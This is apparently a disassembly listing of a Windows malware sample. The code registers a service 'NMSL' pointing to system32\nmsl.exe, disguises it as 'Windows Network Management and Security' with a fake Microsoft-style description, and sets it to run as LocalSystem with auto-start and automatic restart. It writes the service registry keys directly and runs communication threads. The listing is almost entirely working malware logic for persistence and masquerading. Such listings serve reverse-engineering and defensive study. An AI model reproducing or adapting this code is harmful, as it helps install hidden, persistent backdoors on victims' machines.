		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_1
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0C8h
		call	dword_411D04	; Sleep
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0C8h
		call	dword_411D04	; Sleep


loc_404EC2:				; CODE XREF: sub_404CDF+20Dj
					; sub_404CDF+240j
		push	dword_411034
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_404F21
		lea	eax, [ebp+var_12]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_411034
		call	sub_40166C
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jz	short loc_404EC2
		push	0Ch
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	[esi], eax
		mov	ax, [ebp+var_12]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_404645
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404F21:				; CODE XREF: sub_404CDF+1F1j
		push	0
		push	offset dword_411030
		call	dword_411D08	; InterlockedExchange
		push	dword_411034
		call	sub_4014C2
		pop	ecx
		and	dword_411034, 0
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404CDF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_404F8A
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		jmp	short loc_404F91
; ---------------------------------------------------------------------------


loc_404F8A:				; CODE XREF: DMN0:00404F73j
		mov	byte ptr [ebp-844h], 0


loc_404F91:				; CODE XREF: DMN0:00404F88j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_404FAA
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		jmp	short loc_404FBD
; ---------------------------------------------------------------------------


loc_404FAA:				; CODE XREF: DMN0:00404F95j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_404FBD:				; CODE XREF: DMN0:00404FA8j
		test	ebx, ebx
		jz	short loc_404FD4
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_404FD4:				; CODE XREF: DMN0:00404FBFj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_404FFE
		push	offset asc_40EDA4 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_404FFE:				; CODE XREF: DMN0:00404FD8j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_405043
		push	dword ptr [ebp-850h]
		call	dword_411CFC	; CloseHandle
		push	dword ptr [ebp-854h]
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_405043:				; CODE XREF: DMN0:00405026j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_405048	proc near		; CODE XREF: sub_405F73+21p
					; sub_406A81:loc_406DBDp ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40508F
		push	4
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40507E
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_40508F
; ---------------------------------------------------------------------------


loc_40507E:				; CODE XREF: sub_405048+29j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_40508F:				; CODE XREF: sub_405048+15j
					; sub_405048+34j
		pop	esi
		pop	ebx
		retn
sub_405048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405092	proc near		; CODE XREF: sub_406A81+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4050FC
		push	94h
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4050D2
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_4050FC
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_405092+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E54	; QueryServiceStatus
		test	eax, eax
		jz	short loc_4050EC
		cmp	[ebp+var_18], 4
		jnz	short loc_4050EC
		xor	edi, edi
		inc	edi


loc_4050EC:				; CODE XREF: sub_405092+4Fj
					; sub_405092+55j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_4050FC:				; CODE XREF: sub_405092+1Cj
					; sub_405092+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405103	proc near		; CODE XREF: sub_405198+32p
					; sub_4051E6+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E58	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_405145
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_405141
		or	eax, 0FFFFFFFFh
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_405141:				; CODE XREF: sub_405103+37j
		xor	eax, eax
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_405145:				; CODE XREF: sub_405103+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_405190
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_40518C
		or	eax, 0FFFFFFFFh
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_40518C:				; CODE XREF: sub_405103+82j
		xor	eax, eax
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_405190:				; CODE XREF: sub_405103+75j
		xor	eax, eax
		inc	eax


loc_405193:				; CODE XREF: sub_405103+3Cj
					; sub_405103+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405103	endp


; =============== S U B	R O U T	I N E =======================================



sub_405198	proc near		; CODE XREF: sub_4052BA+6Dp
					; sub_405F73:loc_405FABp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4051E2
		push	96h
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_4051D9
		push	esi
		call	sub_405103
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E50	; CloseServiceHandle


loc_4051D9:				; CODE XREF: sub_405198+2Fj
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_4051E2:				; CODE XREF: sub_405198+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051E6	proc near		; CODE XREF: DMN0:00405EAAp
					; sub_406A81+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	edi, eax
		test	eax, eax
		jz	loc_4052B3
		push	16h
		push	offset aNmsl	; "NMSL"
		push	edi
		call	dword_411E4C	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_405242
		push	ebx
		call	sub_405103
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40523E
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	edi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, esi
		jmp	short loc_4052B3
; ---------------------------------------------------------------------------


loc_40523E:				; CODE XREF: sub_4051E6+44j
		xor	esi, esi
		jmp	short loc_405252
; ---------------------------------------------------------------------------


loc_405242:				; CODE XREF: sub_4051E6+36j
		push	14h
		push	offset aNmsl	; "NMSL"
		push	edi
		call	dword_411E4C	; OpenServiceA
		mov	ebx, eax


loc_405252:				; CODE XREF: sub_4051E6+5Aj
		test	ebx, ebx
		jnz	short loc_405261
		push	edi
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_4052B3
; ---------------------------------------------------------------------------


loc_405261:				; CODE XREF: sub_4051E6+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E54	; QueryServiceStatus
		test	eax, eax
		jz	short loc_405279
		cmp	[ebp+var_18], 4
		jnz	short loc_405279
		xor	esi, esi
		inc	esi


loc_405279:				; CODE XREF: sub_4051E6+88j
					; sub_4051E6+8Ej
		test	esi, esi
		jnz	short loc_4052A3
		push	0
		push	0
		push	ebx
		call	dword_411E60	; StartServiceA
		test	eax, eax
		jz	short loc_405293
		mov	esi, 2
		jmp	short loc_4052A3
; ---------------------------------------------------------------------------


loc_405293:				; CODE XREF: sub_4051E6+A4j
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_4052A3
		or	esi, 0FFFFFFFFh


loc_4052A3:				; CODE XREF: sub_4051E6+95j
					; sub_4051E6+ABj ...
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	edi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, esi


loc_4052B3:				; CODE XREF: sub_4051E6+1Ej
					; sub_4051E6+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4051E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052BA	proc near		; CODE XREF: sub_405F73:loc_405FBCp
					; sub_406A81+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	esi, eax
		test	eax, eax
		jz	loc_4053F5
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aNmsl	; "NMSL"
		push	esi
		call	dword_411E64	; CreateServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405342
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 431h
		jnz	short loc_405334
		push	esi
		call	dword_411E50	; CloseServiceHandle
		call	sub_405198
		xor	eax, eax
		inc	eax
		jmp	loc_4053F5
; ---------------------------------------------------------------------------


loc_405334:				; CODE XREF: sub_4052BA+64j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	loc_4053F5
; ---------------------------------------------------------------------------


loc_405342:				; CODE XREF: sub_4052BA+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_2
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D40	; lstrcpyn
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_405397
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_405397
		or	edi, 0FFFFFFFFh


loc_405397:				; CODE XREF: sub_4052BA+CBj
					; sub_4052BA+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_4053E5
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_4053E5
		or	edi, 0FFFFFFFFh


loc_4053E5:				; CODE XREF: sub_4052BA+119j
					; sub_4052BA+126j
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	esi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_4053F5:				; CODE XREF: sub_4052BA+1Fj
					; sub_4052BA+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4052BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053FC	proc near		; CODE XREF: sub_403FEA+9p
					; sub_406A81+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40543E
		push	0F01FFh
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		push	esi
		call	dword_411E68	; DeleteService
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_40543E:				; CODE XREF: sub_4053FC+15j
		pop	esi
		pop	ebx
		retn
sub_4053FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405441	proc near		; CODE XREF: sub_405F73+2Ap
					; sub_406A81+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4079E0
		pop	ecx
		add	ebx, eax
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	sub_407A00
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40550F
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E6C	; RegQueryValueExA
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_405503
		mov	[ebp+var_409], 0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_405503
		xor	esi, esi
		inc	esi


loc_405503:				; CODE XREF: sub_405441+A0j
					; sub_405441+BDj
		push	[ebp+var_404]
		call	dword_411E30	; RegCloseKey


loc_40550F:				; CODE XREF: sub_405441+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405441	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405517	proc near		; CODE XREF: sub_405F73+33p
					; sub_406A81+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4079E0
		pop	ecx
		add	ebx, eax
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	sub_407A00
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_40568C
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		call	sub_4079E0
		pop	ecx
		inc	eax
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		call	sub_4079E0
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	sub_4079E0
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_40568C:				; CODE XREF: sub_405517+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405517	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}"
		push	0
		push	0
		push	0
		call	dword_411D44	; CreateEventA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4056C5
		push	ebx
		call	dword_411D48	; SetEvent
		mov	esi, eax
		push	ebx
		call	dword_411CFC	; CloseHandle
		test	esi, esi
		jz	short loc_4056C3
		xor	eax, eax
		inc	eax
		jmp	short loc_4056C5
; ---------------------------------------------------------------------------


loc_4056C3:				; CODE XREF: DMN0:004056BCj
		xor	eax, eax


loc_4056C5:				; CODE XREF: DMN0:004056A8j
					; DMN0:004056C1j
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056C8	proc near		; CODE XREF: sub_4058D5+89p
					; sub_40596B+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40571A
		push	[ebp+arg_C]
		call	sub_4079E0
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_40571A:				; CODE XREF: sub_4056C8+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_4056C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40571E	proc near		; CODE XREF: sub_405826+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4079E0
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_4079E0
		pop	ecx
		mov	ebx, eax
		jmp	short loc_405762
; ---------------------------------------------------------------------------


loc_405744:				; CODE XREF: sub_40571E+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411D00	; CompareStringA
		cmp	eax, 2
		jnz	short loc_405760
		mov	eax, esi
		jmp	short loc_405768
; ---------------------------------------------------------------------------


loc_405760:				; CODE XREF: sub_40571E+3Cj
		inc	esi
		dec	edi


loc_405762:				; CODE XREF: sub_40571E+24j
		cmp	edi, ebx
		jge	short loc_405744
		xor	eax, eax


loc_405768:				; CODE XREF: sub_40571E+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40571E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40576F	proc near		; CODE XREF: sub_405826+23p
					; sub_4058D5+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_40578A
		test	esi, esi
		jnz	short loc_405791


loc_40578A:				; CODE XREF: sub_40576F+15j
		xor	eax, eax
		jmp	loc_40581F
; ---------------------------------------------------------------------------


loc_405791:				; CODE XREF: sub_40576F+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4057B0
		xor	eax, eax
		jmp	short loc_40581F
; ---------------------------------------------------------------------------


loc_4057B0:				; CODE XREF: sub_40576F+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_407960
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E6C	; RegQueryValueExA
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E30	; RegCloseKey
		cmp	[ebp+var_C], 0
		jnz	short loc_405810
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_2
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_40581F
; ---------------------------------------------------------------------------


loc_405810:				; CODE XREF: sub_40576F+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_40581F:				; CODE XREF: sub_40576F+1Dj
					; sub_40576F+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40576F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405826	proc near		; CODE XREF: sub_4058D5+23p
					; sub_40596B+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407AC0
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40576F
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_405873
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_40571E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405871
		xor	eax, eax
		inc	eax
		jmp	short loc_405873
; ---------------------------------------------------------------------------


loc_405871:				; CODE XREF: sub_405826+44j
		xor	eax, eax


loc_405873:				; CODE XREF: sub_405826+2Fj
					; sub_405826+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405826	endp


; =============== S U B	R O U T	I N E =======================================



sub_405878	proc near		; CODE XREF: sub_405B04+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_405891
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_405894
; ---------------------------------------------------------------------------


loc_405891:				; CODE XREF: sub_405878+11j
		mov	byte ptr [ebx],	0


loc_405894:				; CODE XREF: sub_405878+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_4079E0
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_4058B4
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_4058B4:				; CODE XREF: sub_405878+36j
		test	esi, esi
		jz	short loc_4058CE
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4079E0
		pop	ecx
		add	ebx, eax


loc_4058CE:				; CODE XREF: sub_405878+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405878	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


